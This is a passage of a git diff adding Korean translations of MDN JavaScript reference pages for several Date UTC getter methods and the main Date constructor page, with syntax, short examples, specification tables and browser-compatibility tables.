+   <td>{{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html
new file mode 100644
index 0000000000..8121d3c7c4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCMilliseconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 밀리 초를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMilliseconds()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 999까지의 정수로, 표준시에 따라 지정된 날짜의 밀리 초를 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCMilliseconds()">Using <code>getUTCMilliseconds()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 밀리 초 부분을 밀리 초 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var milliseconds = today.getUTCMilliseconds();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.25', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html
new file mode 100644
index 0000000000..45c453dced
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCMinutes()</strong> 메서드는 표준시에 따라 지정된 날짜의 분을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMinutes()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 59까지의 정수로, 표준시에 따라 지정된 날짜의 분을 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCMinutes()">Using <code>getUTCMinutes()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 분 부분을 minutes 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var minutes = today.getUTCMinutes();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html
new file mode 100644
index 0000000000..b4031536d6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCMonth()</strong>는 지정된 날짜의 월을 0부터 시작하는 값 (0은 첫 해를 나타냄)으로 표준시에 따라 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMonth()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 11까지의 정수로, 표준시에 따라 주어진 날짜의 달에 해당합니다. 1 월은 0, 2 월은 1, 3 월은 2 등입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCMonth()">Using <code>getUTCMonth()</code></h3>
+
+<p>다음 예제에서는 현재 날짜의 월 부분을 month 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var month = today.getUTCMonth();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html
new file mode 100644
index 0000000000..d643903df7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCSeconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 초를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCSeconds()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 59까지의 정수로, 표준시에 따라 지정된 날짜의 초를 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCSeconds()">Using <code>getUTCSeconds()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 초 부분을 초 변수에 지정합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var seconds = today.getUTCSeconds();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/index.html b/files/ko/web/javascript/reference/global_objects/date/index.html
new file mode 100644
index 0000000000..d9cf05bbdb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/index.html
@@ -0,0 +1,239 @@
+---
+title: Date
+slug: Web/JavaScript/Reference/Global_Objects/Date
+tags:
+  - Constructor
+  - Date
+  - JavaScript
+  - Reference
+  - 날짜
+  - 시간
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Date</code></strong> 생성자는 시간의 특정 지점을 나타내는 <code>Date</code> 객체를 생성합니다.</span> <code>Date</code> 객체는 1970년 1월 1일 UTC(국제표준시) 00:00으로부터 지난 시간을 밀리초로 나타내는 <a href="http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_16">유닉스 타임스탬프</a>를 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-constructor.html")}}</div>
+
+
+
+<h2 id=".EC.83.9D.EC.84.B1" name=".EC.83.9D.EC.84.B1"><code>Date</code> 객체 초기화</h2>
+
+<p>JavaScript Date 객체를 생성하는 법은 {{jsxref("new")}} 연산자를 사용하는 것이 유일합니다.</p>
+
+<pre class="brush: js">let now = new Date();</pre>
+
+<p>단순히 {{jsxref("Date", "Date")}} 객체를 직접 호출했을 때, 반환 값은 <code>Date</code> 객체가 아니라 날짜를 나타낸 문자열입니다. JavaScript는 <code>Date</code> 리터럴 구문이 없습니다.</p>
+
+<h2 id=".EC.83.9D.EC.84.B1" name=".EC.83.9D.EC.84.B1">구문</h2>
+
+<pre class="syntaxbox">new Date();
+new Date(<var>value</var>);
+new Date(<var>dateString</var>);
+new Date(<var>year</var>, <var>monthIndex</var>[, <var>day</var>[, <var>hour</var>[, <var>minutes</var>[, <var>seconds</var>[, <var>milliseconds</var>]]]]]);
+</pre>
+
+<h3 id=".ED.8C.8C.EB.9D.BC.EB.AF.B8.ED.84.B0" name=".ED.8C.8C.EB.9D.BC.EB.AF.B8.ED.84.B0">매개변수</h3>
+
+<p><code>Date()</code> 생성자는 네 가지 형태로 사용할 수 있습니다.</p>
+
+<h4 id="매개변수_없음">매개변수 없음</h4>
+
+<p>매개변수를 제공하지 않으면, 현지 시간으로 생성 순간의 날짜와 시간을 나타내는 <code>Date</code> 객체를 생성합니다.</p>
+
+<h4 id="유닉스_타임스탬프">유닉스 타임스탬프</h4>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><a href="http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_16">유닉스 타임스탬프</a>, 즉 1970년 1월 1일 00:00:00 UTC(유닉스 시간)부터의 시간을 밀리초 단위로 표현하되 윤초는 무시한 정숫값. 대부분의 유닉스 타임스탬프 함수는 초 단위까지만 정확함을 유의하세요.</dd>
+ <dt>
+ <h4 id="타임스탬프_문자열">타임스탬프 문자열</h4>
+ </dt>
+ <dt><code>dateString</code></dt>
+ <dd>날짜를 표현하는 문자열값. {{jsxref("Date.parse()")}} 메서드가 인식할 수 있는 형식(<a href="http://tools.ietf.org/html/rfc2822#page-14">IETF 호환 RFC 2822 타임스탬프</a>와 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15">ISO8601의 한 버전</a>)이어야 합니다
+ <div class="note"><strong>참고</strong>: <code>Date</code> 생성자(와 <code>Date.parse</code>)를 사용해 날짜 문자열에서 시간을 알아내는건 하지 않는 것이 좋습니다. 브라우저 간 차이와 여러 비일관성이 존재하며 RFC 2822 규격 문자열의 지원은 관례일 뿐입니다. ISO 8601 규격 문자열은 시간 정보가 없을 때("1970-01-01" 등) 현지 시간이 아닌 UTC 기준으로 처리합니다.</div>
+ </dd>
+</dl>
+
+<h4 id="개별_날짜_및_시간_구성_요소">개별 날짜 및 시간 구성 요소</h4>
+
+<p>적어도 연도와 월이 주어지면, 자신의 구성 요소(연, 월, 일, 시, 분, 초, 밀리초)를 모두 매개변수의 값에서 가져오는 <code>Date</code> 객체를 생성합니다. 누락한 요소에는 가장 낮은 값(<code>day</code>는 1, 나머지는 0)을 사용합니다.</p>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>연도를 나타내는 정숫값. 0부터 99는 1900부터 1999로 처리합니다. {{anch("두 자리 연도는 1900년대로", "아래 예제")}}를 참고하세요.</dd>
+ <dt><code>monthIndex</code></dt>
+ <dd>월을 나타내는 정숫값. 0은 1월을 나타내고 11은 12월을 나타냅니다.</dd>
+ <dt><code>day</code> {{optional_inline}}</dt>
+ <dd>일을 나타내는 정숫값. 기본값은 1입니다.</dd>
+ <dt><code>hours</code> {{optional_inline}}</dt>
+ <dd>시를 나타내는 정숫값. 기본값은 0(자정)입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>minutes</code> {{optional_inline}}</dt>
+ <dd>분을 나타내는 정숫값. 기본값은 0분입니다.</dd>
+ <dt><code>seconds</code> {{optional_inline}}</dt>
+ <dd>초를 나타내는 정숫값. 기본값은 0초입니다.</dd>
+ <dt><code>milliseconds</code> {{optional_inline}}</dt>
+ <dd>밀리초를 나타내는 정숫값. 기본값은 0밀리초입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="유닉스_시간과_타임스탬프">유닉스 시간과 타임스탬프</h3>
+
+<p>JavaScript 날짜는 1970년 1월 1일 자정 (UTC)로부터 지난 시간을 밀리초 단위로 나타낸 것입니다. 이 날짜와 시간을 합쳐 <strong>유닉스 시간</strong>이라고 부릅니다. 유닉스 시간은 컴퓨터로 날짜와 시간을 기록할 때 널리 사용하는 기준점입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 시간과 날짜는 현시 시간으로 저장된다는 점을 기억하는게 중요합니다. 시간, 날짜, 아니면 각각의 구성 요소를 회수하는 기본 메서드도 현지 시간에서 동작합니다.</p>
+</div>
+
+<p>하루는 86,400,000 밀리초입니다. 타임스탬프 기록에 사용하는 수의 크기를 고려했을 때, Date 객체는 유닉스 시간으로부터 약 ±100,000,000일 (1억일)을 기록할 수 있습니다. 따라서 293,742년이 오면 문제가 발생할 여지가 있습니다.</p>
+
+<h3 id="날짜_형식과_시간대_변환">날짜 형식과 시간대 변환</h3>
+
+<p>날짜를 얻는 방법과 시간대를 바꾸는 메서드는 여럿 있습니다. 그 중 특히 유용한 함수는 날짜 및 시간을 국제 표준 시간인 협정 표준시(UTC)로 반환하는 함수입니다. UTC는 그리니치 시간대라고도 불리는데, 기준 시간대가 영국의 런던과 인근의 그리니치를 지나는 경선이기 때문입니다. 사용자의 장치는 현지 시간을 제공합니다.</p>
+
+<p>{{jsxref("Date.getDay", "getDay()")}}와 {{jsxref("Date.setHours", "setHours()")}}처럼 현지 시간을 기준으로 한 구성요소 읽기 및 쓰기 메서드처럼, {{jsxref("Date.getDayUTC", "getUTCDay()")}} 와 {{jsxref("Date.setHoursUTC", "setUTCHours()")}}처럼 UTC를 기준으로 하는 읽기 및 쓰기 메서드도 존재합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype")}}</dt>
+ <dd><code>Date</code> 객체에 추가 속성을 부여할 수 있습니다.</dd>
+ <dt><code>Date.length</code></dt>
+ <dd><code>Date.length</code>의 값은 7로, 생성자가 받을 수 있는 매개변수의 수입니다. 보통 유용하게 쓸 수 있는 값은 아닙니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>1970년 1월 1일 00:00:00 UTC(유닉스 시간)부터 지난 시간을 밀리초 단위의 숫자 값으로 반환합니다. 윤초는 무시합니다.</dd>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>Parses a string representation of a date and returns the number of milliseconds since 1 January, 1970, 00:00:00, UTC.
+ <div class="note"><strong>Note:</strong> Parsing of strings with <code>Date.parse</code> is strongly discouraged due to browser differences and inconsistencies.</div>
+ </dd>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>Accepts the same parameters as the longest form of the constructor (i.e. 2 to 7) and returns the number of milliseconds since January 1, 1970, 00:00:00 UTC, with leap seconds ignored.</dd>
+</dl>
+
+<h2 id="Date_instances" name="Date_instances">JavaScript <code>Date</code> 인스턴스</h2>
+
+<p>All <code>Date</code> instances inherit from {{jsxref("Date.prototype")}}. The prototype object of the <code>Date</code> constructor can be modified to affect all <code>Date</code> instances.</p>
+
+<h3 id="Date.prototype_메서드"><code>Date.prototype</code> 메서드</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Date/prototype', 'Methods')}}</div>
+
+<h2 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h2>
+
+<h3 id=".EC.98.88.EC.A0.9C:_.EB.82.A0.EC.A7.9C.EB.A5.BC_.EC.A7.80.EC.A0.95.ED.95.98.EB.8A.94_.EC.97.AC.EB.9F.AC.EA.B0.80.EC.A7.80_.EB.B0.A9.EB.B2.95" name=".EC.98.88.EC.A0.9C:_.EB.82.A0.EC.A7.9C.EB.A5.BC_.EC.A7.80.EC.A0.95.ED.95.98.EB.8A.94_.EC.97.AC.EB.9F.AC.EA.B0.80.EC.A7.80_.EB.B0.A9.EB.B2.95">날짜를 지정하는 여러가지 방법</h3>
+
+<p>아래 예제는 날짜를 지정하는 몇가지 방법을 보여줍니다:</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> parsing of date strings with the <code>Date</code> constructor (and <code>Date.parse</code>, they are equivalent) is strongly discouraged due to browser differences and inconsistencies.</p>
+</div>
+
+<pre class="brush: js">var today = new Date();
+var birthday = new Date("December 17, 1995 03:24:00");
+var birthday = new Date(95,11,17);
+var birthday = new Date(95,11,17,3,24,0);
+</pre>
+
+<h3 id="두_자리_연도는_1900년대로">두 자리 연도는 1900년대로</h3>
+
+<p>In order to create and get dates between the years 0 and 99 the {{jsxref("Date.prototype.setFullYear()")}} and {{jsxref("Date.prototype.getFullYear()")}} methods should be used.</p>
+
+<pre class="brush: js">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+// Deprecated method, 98 maps to 1998 here as well
+date.setYear(98);           // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+date.setFullYear(98);       // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
+</pre>
+
+<h3 id=".EC.98.88.EC.A0.9C:_.EA.B2.BD.EA.B3.BC.EC.8B.9C.EA.B0.84_.EA.B3.84.EC.82.B0" name=".EC.98.88.EC.A0.9C:_.EA.B2.BD.EA.B3.BC.EC.8B.9C.EA.B0.84_.EA.B3.84.EC.82.B0">경과시간 계산</h3>
+
+<p>The following examples show how to determine the elapsed time between two JavaScript dates in milliseconds.</p>
+
+<p>Due to the differing lengths of days (due to daylight saving changeover), months and years, expressing elapsed time in units greater than hours, minutes and seconds requires addressing a number of issues and should be thoroughly researched before being attempted.</p>
+
+<pre class="brush: js">// Date 객체 사용
+var start = Date.now();
+
+// 시간이 오래 걸리는 작업을 여기 배치합니다
+doSomethingForALongTime();
+var end = Date.now();
+var elapsed = end - start; // 경과 시간, 밀리초.
+</pre>
+
+<pre class="brush: js">// 내장 메서드 사용
+var start = new Date();
+
+// 시간이 오래 걸리는 작업을 여기 배치합니다.
+doSomethingForALongTime();
+var end = new Date();
+var elapsed = end.getTime() - start.getTime(); // 경과 시간, 밀리초.
+</pre>
+
+<pre class="brush: js"><code>// to test a function and get back its return
+function printElapsedTime(fTest) {
+  var nStartTime = Date.now(),
+      vReturn = fTest(),
+      nEndTime = Date.now();
+
+  console.log('Elapsed time: ' + String(nEndTime - nStartTime) + ' milliseconds');
+  return vReturn;
+}
+
+var yourFunctionReturn = printElapsedTime(yourFunction);</code></pre>
+
+<div class="blockIndicator note"><strong>Note:</strong> In browsers that support the {{domxref("window.performance", "Web Performance API", "", 1)}}'s high-resolution time feature, {{domxref("Performance.now()")}} can provide more reliable and precise measurements of elapsed time than {{jsxref("Date.now()")}}.</div>
+
+<h3 id="Get_the_number_of_seconds_since_Unix_Epoch">Get the number of seconds since Unix Epoch</h3>
+
+<pre class="brush: js">var seconds = Math.floor(Date.now() / 1000);</pre>
+
